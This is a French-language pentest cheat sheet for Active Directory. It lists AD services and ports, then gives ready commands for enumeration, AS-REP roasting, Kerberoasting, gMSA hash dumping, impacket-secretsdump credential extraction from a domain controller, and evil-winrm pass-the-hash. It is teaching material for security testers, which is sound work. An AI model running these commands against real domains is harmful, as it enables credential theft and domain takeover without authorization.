Le Pentest AD

Active Directory (AD) - Fiche complète

Qu'est-ce qu'Active Directory (AD) ?

Active Directory (AD) est un service d'annuaire basé sur LDAP, utilisé pour gérer les ressources d'un réseau de manière centralisée dans un environnement Windows. Il permet de gérer les identités, les groupes, les permissions et les accès aux ressources. Sur une machine avec un AD, plusieurs services sont présents pour gérer l'authentification, l'autorisation et le partage des ressources.

Difficultés dans la pénétration d'AD

1. **Pénétration via authentification** : L'authentification dans un environnement AD repose sur les protocoles **NTLM** et **Kerberos**.
2. **Escalade de privilèges** : Une fois authentifié, l'escalade de privilèges nécessite une analyse approfondie des permissions des utilisateurs. L'outil **BloodHound** est souvent utilisé pour identifier les chemins d'attaque potentiels.

Services observables sur un AD

Service	Port	Description
Kerberos	88 (TCP)	Protocole d'authentification réseau sécurisé.
RPC	135/593 (TCP)	Remote Procedure Call, utilisé pour la gestion et la communication entre machines.
LDAP	389/636 (TCP)	Protocole pour interroger et modifier les objets dans l'annuaire AD.
SMB	445 (TCP)	Service de partage de fichiers et d'imprimantes sur le réseau.
WinRM	5985/5986 (TCP)	Remote Shell pour exécuter des commandes PowerShell à distance.

Outils de base pour l'énumération dans AD

1. CrackMapExec

CrackMapExec permet d'exécuter plusieurs actions dans un environnement AD, qu'on soit authentifié ou non.

- **Lister les utilisateurs, groupes, partages, politiques de mots de passe** :

```
sudo crackmapexec smb <IP> -u <user> -p <mdp> --groups|users|shares|pass-pol
```

2. Enum4linux

Outil d'énumération utilisé lorsque l'accès SMB est disponible, pour obtenir des informations sur les utilisateurs, groupes et partages.

3. smbclient

Utilisé pour se connecter aux services SMB et explorer les ressources partagées.

NTLM et Net-NTLMv1/2

- **NTLM** (LM:NTLM) peut être utilisé pour l'authentification via **Pass the Hash (PtH)**.
- **Net-NTLMv1/2** ne peut pas être utilisé directement pour une authentification PtH et nécessite un bruteforce pour retrouver le mot de passe.

Techniques d'énumération et d'attaque

1. RPCClient

Utilisez **rpcclient** pour interroger des informations utilisateurs si le service RPC est disponible :

```
rpcclient <IP>
```

2. LDAPSearch

Si un service LDAP est disponible, vous pouvez interroger l'annuaire avec **ldapsearch** :

```
ldapsearch -x -h <IP> -b "dc=domain,dc=com"
```

3. SMB Relay

- Attaque de type **MitM** qui permet d'obtenir les identifiants d'un utilisateur lors de sa tentative de connexion. Si **SMB Signing** est activé, l'attaque est impossible.

4. Kerbrute/CrackMapExec

- Utilisez **kerbrute** ou **crackmapexec** pour énumérer les utilisateurs Kerberos.

5. AS_REP Roasting

- Permet d'obtenir un Ticket Granting Ticket (TGT) sans avoir le mot de passe de l'utilisateur, si la pré-authentification Kerberos est désactivée. Le hash peut ensuite être bruteforcé.

  Commandes pour AS_REP Roasting :
  - Non authentifié :

    ```
    impacket-GetNPUsers domain/ -usersfile <users_file> -format
    [hashcat|john] -outputfile outfile
    ```

  - Authentifié :

    ```
    impacket-GetNPUsers domain/user:password -request -format
    [hashcat|john] -outputfile outfile
    ```

Attaques authentifiées

1. BloodHound pour la cartographie d'attaque

BloodHound est un outil puissant pour analyser les relations et permissions dans Active Directory et découvrir des chemins d'escalade de privilèges.

Installation de BloodHound et Neo4j

```
# Installer Java pour Neo4j
sudo apt-get install openjdk-11-jdk

# Installer Neo4j
sudo apt-get install apt-transport-https
sudo add-apt-repository universe
sudo apt install neo4j

# Lancer Neo4j (accessible via https://localhost:7474/)
sudo neo4j console

# Installer BloodHound
sudo apt install bloodhound
bloodhound

# Générer les JSON à charger dans BloodHound
python3 -m pip install bloodhound
bloodhound-python -u username -p 'password' -ns ip_du_serveur -d domaine.local
-c all
```

2. Kerberoasting

- Kerberoasting permet d'obtenir les TGS (Ticket Granting Service) des comptes SPN (Service Principal Name), qui peuvent être bruteforcés pour révéler les mots de passe.

3. Dump des NTLM Hashes

- Si l'utilisateur authentifié a accès aux **GMSA** (Group Managed Service Account), il est possible d'extraire les **hashs NTLM** pour les réutiliser avec une attaque **Pass-the-Hash (PtH)**.

  Commande pour GMSA Dumping :

  ```
  python3 gMSADumper.py -u user -p password -d domain.local
  ```

4. Dump des secrets avec secretsdump

Si l'utilisateur authentifié a des droits suffisants, il peut utiliser **secretsdump** pour extraire les mots de passe des autres utilisateurs :

```
impacket-secretsdump domain/user:password@<DC_IP>
```

5. Pass-the-Hash avec WinRM

Utilisez **evil-winrm** pour exploiter une connexion WinRM et effectuer du **Pass-the-Hash**.

- Connexion avec mot de passe :

  ```
  evil-winrm -u <username> -p <password> -i <IP>/<Domain>
  ```

- Connexion avec Pass-the-Hash :

  ```
  evil-winrm -u <username> -H <Hash> -i <IP>
  ```

Conseils pour la gestion des dates et Kerberos

Pour éviter les erreurs liées à la synchronisation de l'heure (notamment avec Kerberos), il est important que l'heure de votre machine soit synchronisée avec celle de la machine cible.

1. **Vérifiez la date actuelle** :

   ```
   date
   ```

2. **Installez rdate** :

   ```
   sudo apt install rdate
   ```

3. **Synchronisez votre date avec la machine distante** :

   ```
   rdate -s <IP>
   ```

Résumé des attaques possibles

- **Enumération** : Utilisez **rpcclient**, **ldapsearch**, et **crackmapexec** pour énumérer les utilisateurs, groupes, et services.
- **AS_REP Roasting** : Obtenez les TGT sans mot de passe si la pré-authentification est désactivée.
- **Kerberoasting** : Demandez les TGS des comptes SPN pour bruteforcer les mots de passe.
- **GMSA Dumping** : Récupérez les hashs NTLM des comptes GMSA pour des attaques **Pass-the-Hash**.
- **Pass-the-Hash** : Utilisez les hashs NTLM pour s'authentifier via **WinRM** ou d'autres services.
- **SMB Relay** : Si SMB Signing est désactivé, réalisez une attaque MitM pour obtenir les identifiants des utilisateurs.